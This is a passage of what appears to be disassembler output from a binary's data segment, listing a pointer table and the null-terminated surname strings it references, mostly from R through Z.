		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: seg002:0042FEC8o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: seg002:0042FEC4o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: seg002:0042FEC0o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: seg002:0042FEBCo
aZoldak		db 'Zoldak',0           ; DATA XREF: seg002:0042FEB8o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: seg002:0042FEB4o
aZegans		db 'Zegans',0           ; DATA XREF: seg002:0042FEB0o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: seg002:0042FEACo
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: seg002:0042FEA8o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: seg002:0042FEA4o
aYu		db 'Yu',0               ; DATA XREF: seg002:0042FEA0o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: seg002:0042FE9Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: seg002:0042FE98o
aYoffe		db 'Yoffe',0            ; DATA XREF: seg002:0042FE94o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: seg002:0042FE90o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: seg002:0042FE8Co
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: seg002:0042FE88o
aYbarra		db 'Ybarra',0           ; DATA XREF: seg002:0042FE84o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: seg002:0042FE80o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: seg002:0042FE7Co
aYankee		db 'Yankee',0           ; DATA XREF: seg002:0042FE78o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: seg002:0042FE74o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: seg002:0042FE70o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: seg002:0042FE6Co
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: seg002:0042FE68o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: seg002:0042FE64o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: seg002:0042FE60o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: seg002:0042FE5Co
		align 4
aWoo		db 'Woo',0              ; DATA XREF: seg002:0042FE58o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: seg002:0042FE54o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: seg002:0042FE50o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: seg002:0042FE4Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: seg002:0042FE48o
aVitali		db 'Vitali',0           ; DATA XREF: seg002:0042FE44o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: seg002:0042FE40o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: seg002:0042FE3Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: seg002:0042FE38o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: seg002:0042FE34o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: seg002:0042FE30o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: seg002:0042FE2Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: seg002:0042FE28o
aWilder		db 'Wilder',0           ; DATA XREF: seg002:0042FE24o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: seg002:0042FE20o
aViens		db 'Viens',0            ; DATA XREF: seg002:0042FE1Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: seg002:0042FE18o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: seg002:0042FE14o
aViano		db 'Viano',0            ; DATA XREF: seg002:0042FE10o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: seg002:0042FE0Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: seg002:0042FE08o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: seg002:0042FE04o
		align 4
aWhite		db 'White',0            ; DATA XREF: seg002:0042FE00o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: seg002:0042FDFCo
aWhately	db 'Whately',0          ; DATA XREF: seg002:0042FDF8o
aWetzel		db 'Wetzel',0           ; DATA XREF: seg002:0042FDF4o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: seg002:0042FDF0o
aVerghese	db 'Verghese',0         ; DATA XREF: seg002:0042FDECo
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: seg002:0042FDE8o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: seg002:0042FDE4o
aWelsh		db 'Welsh',0            ; DATA XREF: seg002:0042FDE0o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: seg002:0042FDDCo
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: seg002:0042FDD8o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: seg002:0042FDD4o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: seg002:0042FDD0o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: seg002:0042FDCCo
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: seg002:0042FDC8o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: seg002:0042FDC4o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: seg002:0042FDC0o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: seg002:0042FDBCo
aWasowska	db 'Wasowska',0         ; DATA XREF: seg002:0042FDB8o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: seg002:0042FDB4o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: seg002:0042FDB0o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: seg002:0042FDACo
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: seg002:0042FDA8o
aVanallen	db 'vanAllen',0         ; DATA XREF: seg002:0042FDA4o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: seg002:0042FDA0o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: seg002:0042FD9Co
		align 4
aWales		db 'Wales',0            ; DATA XREF: seg002:0042FD98o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: seg002:0042FD94o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: seg002:0042FD90o
aWaite		db 'Waite',0            ; DATA XREF: seg002:0042FD8Co
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: seg002:0042FD88o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: seg002:0042FD84o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: seg002:0042FD80o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: seg002:0042FD7Co
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: seg002:0042FD78o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: seg002:0042FD74o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: seg002:0042FD70o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: seg002:0042FD6Co
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: seg002:0042FD68o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: seg002:0042FD64o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: seg002:0042FD60o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: seg002:0042FD5Co
		align 4
aTurano		db 'Turano',0           ; DATA XREF: seg002:0042FD58o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: seg002:0042FD54o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: seg002:0042FD50o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: seg002:0042FD4Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: seg002:0042FD48o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: seg002:0042FD44o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: seg002:0042FD40o
aTruss		db 'Truss',0            ; DATA XREF: seg002:0042FD3Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: seg002:0042FD38o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: seg002:0042FD34o
aTringali	db 'Tringali',0         ; DATA XREF: seg002:0042FD30o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: seg002:0042FD2Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: seg002:0042FD28o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: seg002:0042FD24o
		align 4
aToye		db 'Toye',0             ; DATA XREF: seg002:0042FD20o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: seg002:0042FD1Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: seg002:0042FD18o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: seg002:0042FD14o
aTopulos	db 'Topulos',0          ; DATA XREF: seg002:0042FD10o
aToomer		db 'Toomer',0           ; DATA XREF: seg002:0042FD0Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: seg002:0042FD08o
aTolman		db 'Tolman',0           ; DATA XREF: seg002:0042FD04o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: seg002:0042FD00o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: seg002:0042FCFCo
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: seg002:0042FCF8o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: seg002:0042FCF4o
aTill		db 'Till',0             ; DATA XREF: seg002:0042FCF0o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: seg002:0042FCECo
aThroop		db 'Throop',0           ; DATA XREF: seg002:0042FCE8o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: seg002:0042FCE4o
aThisted	db 'Thisted',0          ; DATA XREF: seg002:0042FCE0o
aThibault	db 'Thibault',0         ; DATA XREF: seg002:0042FCDCo
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: seg002:0042FCD8o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: seg002:0042FCD4o
		align 4
aThan		db 'Than',0             ; DATA XREF: seg002:0042FCD0o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: seg002:0042FCCCo
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: seg002:0042FCC8o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: seg002:0042FCC4o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: seg002:0042FCC0o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: seg002:0042FCBCo
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: seg002:0042FCB8o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: seg002:0042FCB4o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: seg002:0042FCB0o
aTatar		db 'Tatar',0            ; DATA XREF: seg002:0042FCACo
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: seg002:0042FCA8o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: seg002:0042FCA4o
aTambiah	db 'Tambiah',0          ; DATA XREF: seg002:0042FCA0o
aTalaugon	db 'Talaugon',0         ; DATA XREF: seg002:0042FC9Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: seg002:0042FC98o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: seg002:0042FC94o
aSwindle	db 'Swindle',0          ; DATA XREF: seg002:0042FC90o
aSweetser	db 'Sweetser',0         ; DATA XREF: seg002:0042FC8Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: seg002:0042FC88o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: seg002:0042FC84o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: seg002:0042FC80o
aSumner		db 'Sumner',0           ; DATA XREF: seg002:0042FC7Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: seg002:0042FC78o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: seg002:0042FC74o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: seg002:0042FC70o
aStrauch	db 'Strauch',0          ; DATA XREF: seg002:0042FC6Co
aStrange	db 'Strange',0          ; DATA XREF: seg002:0042FC68o
aStott		db 'Stott',0            ; DATA XREF: seg002:0042FC64o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: seg002:0042FC60o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: seg002:0042FC5Co
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: seg002:0042FC58o
aStockwell	db 'Stockwell',0        ; DATA XREF: seg002:0042FC54o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: seg002:0042FC50o
		align 4
aStock		db 'Stock',0            ; DATA XREF: seg002:0042FC4Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: seg002:0042FC48o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: seg002:0042FC44o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: seg002:0042FC40o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: seg002:0042FC3Co
aStephanian	db 'Stephanian',0       ; DATA XREF: seg002:0042FC38o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: seg002:0042FC34o
aStefani	db 'Stefani',0          ; DATA XREF: seg002:0042FC30o
aStatlender	db 'Statlender',0       ; DATA XREF: seg002:0042FC2Co
		align 4
aStates		db 'States',0           ; DATA XREF: seg002:0042FC28o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: seg002:0042FC24o
		align 4
aStang		db 'Stang',0            ; DATA XREF: seg002:0042FC20o
		align 4
aStam		db 'Stam',0             ; DATA XREF: seg002:0042FC1Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: seg002:0042FC18o
aStmartin	db 'StMartin',0         ; DATA XREF: seg002:0042FC14o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: seg002:0042FC10o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: seg002:0042FC0Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: seg002:0042FC08o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: seg002:0042FC04o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: seg002:0042FC00o
aSpence		db 'Spence',0           ; DATA XREF: seg002:0042FBFCo
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: seg002:0042FBF8o
aSpaulding	db 'Spaulding',0        ; DATA XREF: seg002:0042FBF4o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: seg002:0042FBF0o
aSpanier	db 'Spanier',0          ; DATA XREF: seg002:0042FBECo
aSoultanian	db 'Soultanian',0       ; DATA XREF: seg002:0042FBE8o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: seg002:0042FBE4o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: seg002:0042FBE0o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: seg002:0042FBDCo
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: seg002:0042FBD8o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: seg002:0042FBD4o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: seg002:0042FBD0o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: seg002:0042FBCCo
		align 4
aSolon		db 'Solon',0            ; DATA XREF: seg002:0042FBC8o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: seg002:0042FBC4o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: seg002:0042FBC0o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: seg002:0042FBBCo
aSmilow		db 'Smilow',0           ; DATA XREF: seg002:0042FBB8o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: seg002:0042FBB4o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: seg002:0042FBB0o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: seg002:0042FBACo
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: seg002:0042FBA8o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: seg002:0042FBA4o
		align 4
aSites		db 'Sites',0            ; DATA XREF: seg002:0042FBA0o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: seg002:0042FB9Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: seg002:0042FB98o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: seg002:0042FB94o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: seg002:0042FB90o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: seg002:0042FB8Co
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: seg002:0042FB88o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: seg002:0042FB84o
aSiesto		db 'Siesto',0           ; DATA XREF: seg002:0042FB80o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: seg002:0042FB7Co
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: seg002:0042FB78o
aShia		db 'Shia',0             ; DATA XREF: seg002:0042FB74o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: seg002:0042FB70o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: seg002:0042FB6Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: seg002:0042FB68o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: seg002:0042FB64o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: seg002:0042FB60o
		align 4
aShea		db 'Shea',0             ; DATA XREF: seg002:0042FB5Co
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: seg002:0042FB58o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: seg002:0042FB54o
aShar		db 'Shar',0             ; DATA XREF: seg002:0042FB50o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: seg002:0042FB4Co
aShankland	db 'Shankland',0        ; DATA XREF: seg002:0042FB48o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: seg002:0042FB44o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: seg002:0042FB40o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: seg002:0042FB3Co
aSexton		db 'Sexton',0           ; DATA XREF: seg002:0042FB38o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: seg002:0042FB34o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: seg002:0042FB30o
aSen		db 'Sen',0              ; DATA XREF: seg002:0042FB2Co
aSelvage	db 'Selvage',0          ; DATA XREF: seg002:0042FB28o
aSekler		db 'Sekler',0           ; DATA XREF: seg002:0042FB24o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: seg002:0042FB20o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: seg002:0042FB1Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: seg002:0042FB18o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: seg002:0042FB14o
aScovel		db 'Scovel',0           ; DATA XREF: seg002:0042FB10o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: seg002:0042FB0Co
aSchwan		db 'Schwan',0           ; DATA XREF: seg002:0042FB08o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: seg002:0042FB04o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: seg002:0042FB00o
aSchuman	db 'Schuman',0          ; DATA XREF: seg002:0042FAFCo
aSchossberger	db 'Schossberger',0     ; DATA XREF: seg002:0042FAF8o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: seg002:0042FAF4o
aSchilling	db 'Schilling',0        ; DATA XREF: seg002:0042FAF0o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: seg002:0042FAECo
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: seg002:0042FAE8o
aScheiner	db 'Scheiner',0         ; DATA XREF: seg002:0042FAE4o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: seg002:0042FAE0o
aScharf		db 'Scharf',0           ; DATA XREF: seg002:0042FADCo
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: seg002:0042FAD8o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: seg002:0042FAD4o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: seg002:0042FAD0o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: seg002:0042FACCo
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: seg002:0042FAC8o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: seg002:0042FAC4o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: seg002:0042FAC0o
		align 4
aSase		db 'Sase',0             ; DATA XREF: seg002:0042FABCo
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: seg002:0042FAB8o
aSarin		db 'Sarin',0            ; DATA XREF: seg002:0042FAB4o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: seg002:0042FAB0o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: seg002:0042FAACo
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: seg002:0042FAA8o
aSamson		db 'Samson',0           ; DATA XREF: seg002:0042FAA4o
		align 4
aSali		db 'Sali',0             ; DATA XREF: seg002:0042FAA0o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: seg002:0042FA9Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: seg002:0042FA98o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: seg002:0042FA94o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: seg002:0042FA90o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: seg002:0042FA8Co
aRush		db 'Rush',0             ; DATA XREF: seg002:0042FA88o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: seg002:0042FA84o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: seg002:0042FA80o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: seg002:0042FA7Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: seg002:0042FA78o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: seg002:0042FA74o
		align 10h
aRow		db 'Row',0              ; DATA XREF: seg002:0042FA70o
aRonen		db 'Ronen',0            ; DATA XREF: seg002:0042FA6Co
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: seg002:0042FA68o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: seg002:0042FA64o
aRocha		db 'Rocha',0            ; DATA XREF: seg002:0042FA60o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: seg002:0042FA5Co
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: seg002:0042FA58o
		align 4
aRish		db 'Rish',0             ; DATA XREF: seg002:0042FA54o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: seg002:0042FA50o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: seg002:0042FA4Co
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: seg002:0042FA48o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: seg002:0042FA44o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: seg002:0042FA40o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: seg002:0042FA3Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: seg002:0042FA38o
aRenick		db 'Renick',0           ; DATA XREF: seg002:0042FA34o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: seg002:0042FA30o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: seg002:0042FA2Co
aCunningham	db 'Cunningham',0       ; DATA XREF: seg002:0042FA28o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: seg002:0042FA24o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: seg002:0042FA20o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: seg002:0042FA1Co
aRapple		db 'Rapple',0           ; DATA XREF: seg002:0042FA18o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: seg002:0042FA14o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: seg002:0042FA10o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: seg002:0042FA0Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: seg002:0042FA08o
